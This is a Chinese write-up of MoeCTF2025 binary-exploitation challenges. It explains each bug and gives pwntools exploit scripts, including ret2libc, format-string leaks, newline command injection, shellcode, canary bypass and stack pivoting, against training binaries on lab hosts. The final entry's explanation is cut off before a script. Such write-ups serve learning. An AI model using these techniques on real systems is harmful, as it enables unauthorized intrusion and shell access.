MoeCTF2025-PWN方向做题笔记 0 二进制漏洞审计入门指北 解题思路 签到题,脚本都给我们写好了,运行一下就能得flag
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * context(arch='amd64' , os='linux' , log_level='debug' ) io = connect("192.168.???.??" , 51192 ) io.sendline(b'114511' ) payload = p32(0xdeadbeef ) payload += b'shuijiangui' io.sendafter(b'password.' , payload) io.interactive()
EZtext 解题思路 Ret2text,题目允许我们设置输入长度,则至少要设置覆盖到栈上得放回地址
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("192.168.???.??" , 51978 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() ru(b"Then how many bytes do you need to overflow the stack?" ) sl(b"24" ) shell = 0x4011BB payload = b"\x00" *(0x10 ) + p64(shell) s(payload) ia()
ez_u64 解题思路 利用u64()和recv(),接受并解码即可,最后在发送出去就getshell了
EXP 1 2 3 4 5 6 7 8 9 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("192.168.???.??" , 51115 ) io.recvuntil(b"Here is the hint." ) num = u64(io.recv(8 )) io.sendline(str (num).encode()) io.interactive()
fmt 解题思路 题目利用generate()来生成由大小写字母组成得随机字符串,利用%s可以泄露s2_1,利用%p可以泄露s2
main()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int __fastcall main (int argc, const char **argv, const char **envp) { char *s2_1; char s1[16 ]; char s2[16 ]; char s[88 ]; unsigned __int64 v8; v8 = __readfsqword(0x28u ); init(argc, argv, envp); s2_1 = (char *)malloc (0x20u LL); generate(s2, 5LL ); generate(s2_1, 5LL ); puts ("Hey there, little one, what's your name?" ); fgets(s, 80 , stdin ); printf ("Nice to meet you," ); printf (s); puts ("I buried two treasures on the stack.Can you find them?" ); fgets(s1, 8 , stdin ); if ( strncmp (s1, s2, 5uLL ) ) lose(); puts ("Yeah,another one?" ); fgets(s1, 8 , stdin ); if ( strncmp (s1, s2_1, 5uLL ) ) lose(); win(); return 0 ; }
可以通过gdb调试,借助fmtarg指令来确定参数位置
还可以通过计算得到,在 x86-64 中,前 6 个格式化字符串参数通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9),第 7 个开始从栈上读取
在 x86-64 中,printf 的栈参数从 rsp+8 开始(因为 call printf 会将返回地址 rip 压栈,占 8 字节)。
s2_1距离rsp有 0x8 个字节,8个字节为一个参数位 ,位于 rsp+8,因此它是 第 7 个参数(因为栈参数从 rsp+8 开始,对应第 7 个)
s2距离rap有0x20个字节 ,也就是 4 个0x8,4 + 6 = 10,所以s2是printf的第10个参数
得到的s2需要按照小端序解码
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = process("./pwn" ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() def hex_to_bytes (hex_val ): byte_length = (hex_val.bit_length() + 7 ) // 8 bytes_data = hex_val.to_bytes(byte_length, byteorder='little' , signed=False ) print (bytes_data) return bytes_data sla(b"name?" , b"-%7$s-%10$p" ) ru(b"-" ) s1 = r(5 ) print (s1)ru(b"0x" ) s2 = int (r(10 ), 16 ) print (hex (s2))s2_by = hex_to_bytes(s2) sla(b"Can you find them?" , s2_by) sla(b"Yeah,another one?" , s1) ia()
inject 解题思路 ping_host() 对用户输入做了不完全 的过滤:check() 会拒绝一大堆危险字符(; & | > < $ ( ) { } [ ] ' " \ ! ~ *),但**没有禁止换行 \n**(也没有禁止空格、-等),而后面把用户输入放进一个通过system()` 执行的 shell 命令里:
1 2 _snprintf_chk(command, 32, 1, 32, "ping %s -c 4", buf); system(command);
由于 shell 中换行是命令分隔符(相当于 ;),如果能把 \n 放进 %s,就可以把 ping … 后分隔出新的任意命令,从而实现命令注入并执行任意命令。
1 read(0 , buf, 0xFu LL)` 从 stdin 读最多 15 字节到 `buf
之后用 strlen(buf) 得到长度并尝试把末尾的 \n 替换成 \0(那段通过 v2 旁移做 if (*(&v2 + v0) == 10) *(&v2 + v0) = 0;,本意是去掉换行)
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = process("./pwn" ) io = remote("192.168.242.1" , 58031 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=False :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() sla(b"choice: " , b"4" ) sla(b"Enter host to ping:" , b"aaa\ncat flag\n" ) ia()
randomlock 解题思路 这是一道伪随机数的题目,孩子比较笨,逆不出随机数种子seed的生成逻辑,但是可以在gdb里动态调试程序,发现需要输入的10个 password依次为 9383、886、2777、6915、7793、8335、5386、492、6649、1421
位置在0x555555555562 <main+152> mov dword ptr [rbp - 0xc], eax此处可以发现password的值
以下是其中一个例子:password10
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("192.168.???.??" , 51713 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() password = [9383 ,886 ,2777 ,6915 ,7793 ,8335 ,5386 ,492 ,6649 ,1421 ] for i in range (10 ): sla(b"password" , str (password[i]).encode()) ia()
str_check 解题思路 str类函数:例如strcpy、strcat、strcmp、strlen等函数会被\x00截断
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("192.168.???.??" , 51927 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() backdoor = 0x40123E payload = b"meow" + b"\x00" *(0x24 ) + p64(backdoor) sla(b"What can u say?" , payload) sla(b"So,what size is it?" , b"256" ) ia()
syslock 解题思路 题型为ret2syscall,变量i与s都位于bss段上,并且i紧邻着s,位于s的上方,对i输入负数,即可在
1 read(0 , (char *)&s + i, 0xCu LL);
这一步进行负数前溢出,改i为59,并写入/bin/sh\x00(为下一步的系统调用 execve(/bin/sh,0,0) 准备参数)
顺便附上全部函数的系统调用号参考:https://syscalls.mebeim.net/?table=x86/64/x64/latest
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("192.168.???.??" , 60740 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() pop_rdi_rsi_rdx = 0x401240 syscall = 0x401230 pop_rax = 0x401244 bss = 0x404084 sla(b"choose mode" , b"-32" ) sa(b"Input your password" , b"\x3B\x00\x00\x00" + b"/bin/sh\x00" ) payload = b"\x00" *(0x48 ) + p64(pop_rdi_rsi_rdx) + p64(bss) + p64(0 )*2 + p64(pop_rax) + p64(0x3b ) + p64(syscall) sla(b"Developer Mode.\n" , payload) ia()
eazylibc 解题思路 这个题的题型是ret2libc,但它着重考察了函数动态链接与延迟绑定 ,附件开启了ASLR(地址空间布局随机化)和PIE (位置无关可执行文件)**,第一次打印&read时,程序还未有调用过read()函数,初次调用函数,先从 plt表跳转到read@got(got表中 read 的地址),此时read@got里存储的是read@plt表的地址,所以会打印read@plt的地址,也就是IDA程序中的0x1060处的真实地址,即可得到程序的pie 。
我们覆盖返回地址为main(),程序会再次打印&read,还是先从 plt表跳转到read@got,这下read@got存储的read()的真实地址,这下就会给出read()的真实地址,即可得到libc_base ,再打正常的ret2libc就好。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("192.168.???.??" , 51595 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./pwn" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) ru(b"How can I use 0x" ) addr = int (r(12 ), 16 ) ls(hex (addr)) pie = addr - 0x1060 ls(hex (pie)) main = 0x11D3 + pie pad = b"\x00" *(0x28 ) + p64(main) sa(b"Damn!" , pad) ru(b"How can I use 0x" ) addr = int (r(12 ), 16 ) ls(hex (addr)) libc_base = addr - libc.sym["read" ] ls(hex (libc_base)) libc.address = libc_base pop_rdi = next (libc.search(asm("pop rdi; ret;" ))) system = libc.sym['system' ] bin_sh = next (libc.search(b'/bin/sh\x00' )) payload = b"\x00" *(0x28 ) + p64(pop_rdi + 1 ) + p64(pop_rdi) + p64(bin_sh) + p64(system) sla(b"Damn!" , payload) ia()
ezshellcode 解题思路 前置基础 控制程序执行shellcode代码,shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell,或者open read write获取并输出flag,通常情况下shellcode需要我们自行编写,即向内存中填充一些可执行的代码
前提条件:shellcode所在的区域具有可执行权限
还可以了解一下mprotect()函数,mprotect 是一个非常重要的系统调用,用于修改内存区域的访问权限。在你提供的代码中,它被用来改变之前通过 mmap 分配的内存区域的权限。
函数原型:
1 2 3 #include <sys/mman.h> int mprotect (void *addr, size_t len, int prot) ;
参数解释:
void \*addr (s 在代码中)
要修改权限的内存区域的起始地址
必须是页对齐的(通常是4096字节的倍数)
在代码中,这是 mmap 返回的地址 s
size_t len (0x1000uLL 在代码中)
要修改的内存区域长度(字节数)
代码中设置为 0x1000(4096字节,即一页大小)
同样需要页对齐
int prot (prot 在代码中)
新的保护权限标志,通过位或(|)组合:
PROT_READ (1): 可读
PROT_WRITE (2): 可写
PROT_EXEC (4): 可执行
代码中 prot 的值取决于用户的选择
在题目中:
1 2 3 4 if (mprotect(s, 0x1000u LL, prot) == -1 ) { perror("mprotect" ); exit (1 ); }
修改 s 指向的内存区域(大小为4096字节)的权限
新权限由我们选择的 prot 值决定
如果失败(返回-1),打印错误并退出
每个选项对应不同的内存权限组合:
1: PROT_READ (1)
2: PROT_READ|PROT_WRITE (3)
3: PROT_READ|PROT_EXEC (5)
4: PROT_READ|PROT_WRITE|PROT_EXEC (7)
为什么PROT_READ=1,PROT_WRITE = 2, PROT_EXEC = 4?
涉及到位掩码的基本原理 ,简单来说:在计算机中,单个整数的每个二进制位可以独立表示一个布尔状态(0/1) 。通过为每种权限分配一个独立的二进制位,可以实现权限的组合与检查:
权限
二进制值
十进制值
PROT_READ
001
1
PROT_WRITE
010
2
PROT_EXEC
100
4
每个权限对应一个 唯一的二进制位 ,互不重叠。
通过 按位或(|) 组合权限
EXP 1 2 3 4 5 6 7 8 9 10 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("192.168.???.??" , 50547 ) io.recvuntil(b"Choose wisely!\n" ) io.sendline(b"4" ) shellcode = shellcraft.sh() io.recvuntil(b"think about the permissions you just set.\n" ) io.sendline(asm(shellcode)) io.interactive()
find it 解题思路 在 Linux 中,每个进程都会维护一个 fd 表 ,本质是指向内核的打开文件对象。
默认情况下:
0 → stdin(标准输入)
1 → stdout(标准输出)
2 → stderr(标准错误)
当我们调用 dup(1) 时,系统会找到 最小的未使用的 fd ,复制一份 stdout,并返回它。 一般来说,新分配的第一个空闲 fd 就是 3 。
fd 的分配原则 :从最小未使用的整数开始递增。
dup() :复制一个现有 fd(共享同一文件对象),返回新的最小可用 fd。
close() :释放该 fd,之后新的 open/dup 可以复用。
程序刚开始在使用的fd有 0、1、2
经过复制
后
1\3就可以共同表示标准输出
标准输出和标准报错才会在我们的终端上有输出
然后释放
此时,数字1就未被文件描述符fd使用,打开一个新文件,程序会使用一个当前未被使用的最小整数,来作为新文件的文件描述符fd
打开了一个文件,需要一个新的文件描述符来表示它,这是一种一对一关系,优先选取当前最小未使用的整数,也就是前面被释放的1
1 read(fd2, &buf, 0x50u LL);
从对应文件(fd2处于文件描述符的位置,它被用来表示哪个文件,read就读取哪个文件)里读入0x50个字节到buf
EXP 1 2 3 4 5 6 7 8 9 ╭─icyice@icyice-virtual-machine ~/Desktop/MoeCTF/2025 ╰─$ nc 192.168.???.?? 51138 I've hidden the fd of stdout. Can you find it? 3 You are right.What would you like to see? flag What is its fd? 1 moectf{FIND_the-HIDDeN-fD17a898463da}
认识libc 解题思路 ret2libc,直接得到printf_addr,算出libc_base,需要的一切在glibc里找,比如pop_rdi_ret、/bin/sh\x00、system
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("192.168.???.??" , 49770 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./pwn" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) ru(b"'printf': 0x" ) printf_addr = int (r(12 ), 16 ) libc_base = printf_addr - libc.sym['printf' ] ls(hex (libc_base)) libc.address = libc_base pop_rdi = next (libc.search(asm("pop rdi; ret;" ))) bin_sh = next (libc.search(b"/bin/sh\x00" )) system = libc.sym['system' ] payload = b"\x00" *(0x48 ) + p64(pop_rdi + 1 ) + p64(pop_rdi) + p64(bin_sh) + p64(system) sla(b"> " , payload) ia()
boom 解题思路 输入 y ,是得 v6 =1 && canary = canary;。v6 = 1即可进行栈溢出,用 \x00填满栈空间,虽然修改了 canary 但覆盖 v6 = 0,不进入
1 2 3 4 5 if ( v6 && canary != canary ) { puts ("Security check failed!" ); exit (1 ); }
有后门函数win(),就是ret2text
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("192.168.???.??" , 54549 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=False :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() sla(b"Do you want to brute-force this system? (y/n)" , b"y" ) win = 0x40127E payload = b"\x00" *(0x98 ) + p64(win) sl(payload) ia()
boom_revenge 解题思路 输入 y ,是得 v6 =1 && canary = canary;。v6 = 1即可进行栈溢出,但是canary不能修改,必须覆盖相同的值才能避免exit(1),这就要会生成伪随机数了
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from ctypes import *import timecontext(os="linux" , arch="amd64" , log_level="debug" ) io = remote("192.168.???.??" , 65138 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=False :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() libc = cdll.LoadLibrary("libc.so.6" ) seed = int (time.time()) libc.srand(seed) sla(b"Do you want to brute-force this system? (y/n)" , b"y" ) win = 0x40127E canary = libc.rand() % 114514 payload = b"\x00" *(0x7C ) + p64(canary) + b"\x00" *(0xc + 8 ) + p64(win) sla(b"Enter your message:" , payload) ia()
ezpivot 解题思路 打法就是栈迁移,但我刚开始遇到一个问题:system会崩
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 RAX 0 RBX 0x404078 (desc+24) ◂— 0x68732f6e69622f /* '/bin/sh' */ RCX 0x797119b147e2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 1 RDI 0x404078 (desc+24) ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0x7ffd41daa3c4 ◂— 0 R8 0x26 R9 0 R10 0x797119bbeac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000 R11 0x246 R12 0x7ffd41daa4e8 —▸ 0x7ffd41dac225 ◂— 0x5953006e77702f2e /* './pwn' */ R13 0x797119c1c7a0 (quit) ◂— 0 R14 0x797119c1c840 (intr) ◂— 0 R15 0x797119d77040 (_rtld_global) —▸ 0x797119d782e0 ◂— 0 RBP 0 RSP 0x403cb8 ◂— 0 RIP 0x797119a50948 (do_system+72) ◂— mov dword ptr [rsp + 0x18], 0xffffffff ──────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────── ► 0x797119a50948 <do_system+72> mov dword ptr [rsp + 0x18], 0xffffffff [0x403cd0] <= 0xffffffff 0x797119a50950 <do_system+80> mov qword ptr [rsp + 0x180], 1 [_DYNAMIC+128] <= 1 0x797119a5095c <do_system+92> mov dword ptr [rsp + 0x208], 0 [_DYNAMIC+264] <= 0 0x797119a50967 <do_system+103> mov qword ptr [rsp + 0x188], 0 [_DYNAMIC+136] <= 0 0x797119a50973 <do_system+115> movaps xmmword ptr [rsp], xmm1 <[0x403cb8] not aligned to 16 bytes> 0x797119a50977 <do_system+119> lock cmpxchg dword ptr [rip + 0x1cbe01], edx
原因是在 do_system+72 处,当尝试向 rsp + 0x18 写入数据时失败。从寄存器状态可以看到 RSP = 0x403cb8,这个地址不属于bss段了,不可写。
还有一个小问题是栈对齐问题 :错误信息中显示 movaps xmmword ptr [rsp], xmm1 时提示 [0x403cb8] not aligned to 16 bytes,说明栈指针没有16字节对齐,而SSE指令要求内存操作数必须对齐
题目中的 introduce(),在这步我们可以在bss段上布局我们设计好的新栈,但nbytes被限制<=32(这一步的判断在main()中),想要绕过,就要用的int有符号整数与unsigned int无符号整数之间的转换问题了,这里不过多介绍,绕过方法就是nbytes = -1(是负数即可)
1 2 3 4 5 int __fastcall introduce (unsigned int nbytes) { read(0 , &desc, nbytes); return puts ("Ok,we got your introduction!" ); }
&desc位于0x404060,这个地址太低了,且system需要很大的栈空间,如果将栈迁移到这里就会遇到system崩掉的问题,解决方法就是通过大量ret来填充bss空间,抬高我们设计的新栈地址
bss段的空间
pivot
0x404060
“/bin/sh\x00”
0x404068
ret
…….
……(全是ret)
0x404760
ret(我们后面迁移的位置,新栈从这开始)
0x404768
pop_rdi
0x404770
0x404060(/bin/sh的地址)
0x404778
system
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *import timecontext(os="linux" , arch="amd64" , log_level="debug" ) io = remote("192.168.???.??" , 65236 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./pwn" ) pop_rdi = 0x401219 ret = 0x40101a bss = 0x404060 system = elf.plt['system' ] leave_ret = 0x40120f sla(b"Before that,you need to tell us the length of your introduction." , b"-1" ) sleep(0.3 ) pivot = b"/bin/sh\x00" + p64(ret)*(0xE1 ) + p64(pop_rdi) + p64(bss) + p64(system) s(pivot) payload = b"\x00" *(0xc ) + p64(bss + 0x700 ) + p64(leave_ret) sa(b"Now, please tell us your phone number:" , payload) ia()
xdulaker 解题思路 存在栈空间复用,或者说是栈重叠。至于为什么,个人理解就是:
函数调用时,rsp 向下挪一段空间,给局部变量用。
函数返回时,rsp 回到原来位置。
栈里的数据不会被清零 ,只是“指针”回来了。
所以:下一个函数调用时,如果分配的空间跟上一个差不多,就会落在同一片物理内存 上。
1 2 3 push rbp mov rbp, rsp sub rsp, <栈空间大小>
题目中
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = process("./pwn" ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./pwn" ) sla(b">" , b"1" ) ru(b"Thanks,I'll give you a gift:0x" ) pie = int (r(12 ), 16 ) - 0x4010 ls(hex (pie)) backdoor = pie + 0x124E sla(b">" , b"2" ) payload = b"xdulaker" *(0x8 ) sla(b"Hey,what's your name?!" , payload) sla(b">" , b"3" ) pad = b"\x00" *(0x38 ) + p64(backdoor) sla(b"welcome,xdulaker" , pad) ia()
ezprotection 解题思路 题目存在后门函数backdoor(),开启了Canary和PIE保护,并且允许两次栈溢出,第一次覆盖Canary的最低一个字节使puts()打印出Canary,第二次就可以
通过pie保护绕过方法中的部分写入,backdoor()中还有一个随机数检验,虽然是真随机,但可以不管,直接跳转到 if语句部分执行读取并打印flag即可(注意跳转这一步需要去“撞”,需要多试几次,1/15的成功率)
canary以”\x00”结束,字符串在C语言中以 \x00 作为终止符号,在使用堆栈金丝雀进行栈保护时,通常会将金丝雀的一个字节设为 \x00(也就是0字节)。这是因为很多缓冲区溢出攻击依赖于字符串操作函数(如 strcpy、gets、sprintf 等),这些函数在遇到 \x00 时会终止复制或输入。因此,canary 包含 \x00 能有效地检测和阻止大多数基于字符串操作的缓冲区溢出攻击。
其次部分写入和linux分页机制有关,pie保护开启后最后12位不会发生变化,对应3位16进制数字
(本着有好文就不用自己写的原则【我就是懒不可以吗】,直接引用C0trick师傅的的WP文章列表 | NSSCTF )
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("192.168.???.??" , 55214 ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() elf = ELF("./pwn" ) sa(b"over you." , b"a" *(0x19 )) ru(b"a" *(0x19 )) canary = u64(r(7 ).rjust(8 , b'\x00' )) ls(hex (canary)) shell = 0x128C payload = b"a" *(0x18 ) + p64(canary) + b"a" *(8 ) + p16(shell) sa(b"anyway." , payload) ia()
hardpivot 解题思路 修改rbp,让 read() 读入的数据到 bss 段上,再利用leave ret就完成了栈的迁移,栈迁移多多注意 rbp和 rsp 的变化就对了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context(os="linux" , arch="amd64" , log_level="debug" ) io = remote("192.168.???.??" , 51204 ) elf = ELF("./pwn" ) libc = ELF("./libc.so.6" ) s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=False :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(data) p = lambda :pause() def debug (): gdb.attach(io) pause() bss = 0x404a00 pop_rdi = 0x40119e leave_ret = 0x40127b ru(b"> " ) read = 0x401264 payload = b"\x00" *(0x40 ) + p64(bss + 0x40 ) + p64(read) s(payload) read_got = 0x404028 puts_plt = 0x401074 pad = p64(bss + 0x40 + 0x28 ) + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(read) pad = pad.ljust(0x40 , b"\x00" ) + p64(bss) + p64(leave_ret) s(pad) libc_base = u64(r(6 ).ljust(8 , b"\x00" )) - libc.sym['read' ] ls(hex (libc_base)) bin_sh = next (libc.search(b"/bin/sh\x00" )) + libc_base system = libc.sym['system' ] + libc_base pay = p64(pop_rdi+1 ) + p64(pop_rdi) + p64(bin_sh) + p64(system) pay = pay.ljust(0x40 , b"\x00" ) + p64(bss + 0x28 ) + p64(leave_ret) s(pay) ia()
fmt_S 解题思路 首先是main()对格式化字符串利用次数的限制,限制了flag == 0且i<=3
1 2 3 4 5 6 for ( i = 1 ; i <= 3 && !flag; ++i ) talk(); __int64 talk () { puts ("You start talking to him..." ); flag ^= 1u ;
想要将flag一直为 0,需要利用 my_read()中的 off_by_null,由于 atk就紧邻着在flag的上方,所以只需要输入”a”*8,将atk填满即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 return my_read(&atk, 8LL );} size_t __fastcall my_read (_BYTE *buf, size_t nbytes) { buf[read(0 , buf, nbytes)] = 0 ; return strlen (buf); } .bss:00000000004040 A0 public atk .bss:00000000004040 A0 ; _BYTE atk .bss:00000000004040 A0 atk dq ? ; DATA XREF: talk+7 A↑o .bss:00000000004040 A0 ; main:loc_4013BE↑r .bss:00000000004040 A8 public flag .bss:00000000004040 A8 flag dd ? ; DATA XREF: talk+1B ↑r .bss:00000000004040 A8 ; talk+24 ↑w ... .bss:00000000004040 AC align 20 h
只是让flag == 0也就只有三次格式化字符串利用的机会,由于程序在 he() 里有system函数
ida里的 he()
1 2 3 .text:0000000000401274 lea rax, [rbp+command] .text:0000000000401278 mov rdi, rax ; command .text:000000000040127B call _system
光看这里会觉得很正常没什么,但在GDB看
如果我们可以利用格式化字符串漏洞将 [rbp - 0xe]处的值改为 “ sh”(注意sh的前面要有两个空格)或”/bin/sh”,(一般选前者,因为前者只需要写入四个字节,而后者需要写入8个字节),就能执行system(“ sh”)来getshell
想要做到这一步,就要借鉴前面[MoeCTF2024]where_is_fmt 的解题思路,在 talk()函数内,将 [rbp - 0xe]处的值改为 “ sh”,然后修改 talk() 的返回地址为 0x401274,!!这里要注意,talk()结束时是会有 leave_ret的,比如若在 talk()里rbp 0x7ffe567b7f60 —▸ 0x7ffe567b7f80
而我们直接跳转到0x401274处时,rbp内存的值会是rbp 0x7ffe567b7f80
所以这里我们要修改 [rbp - 0xe] => 0x7ffe567b7f72处存的值为 “ sh\x00”(确保高字节处有\x00截断,没有就要加)
但是这样的话,要写入” sh”(两个空格 + “s” + “h”)需要四次写入,篡改返回地址又需要两次写入,而我们在只确保flag == 0的情况下也只能有三次写入的机会,这远远不够???我们需要更多的写入次数!!! 让我们来GDB里,看看for ( i = 1; i <= 3 && !flag; ++i )里,i <= 3这一步是怎么比较的
其实就是这一步
1 0x4013b5 <main+70 > cmp dword ptr [rbp - 4 ], 3 2 - 3 EFLAGS => 0x297 [ CF PF AF zf SF IF df of ac ]
简单来说就是 [rbp - 4] - 3 如果 < 0,比较通过,进入 talk(),否则退出 for 循环
在 main() 里,可以知道i虽然是局部变量,不像之前一些简单点的题在bss段可以直接修改,但是它同时也是一个int有符号数,如果我们修改此处[rbp - 4]的值的最高位为0xFF,它就会变成一个很大的值,从而发生回环,变成一个负数,(负数 - 3 < 0)。这样即可获得无限次的格式化字符串利用
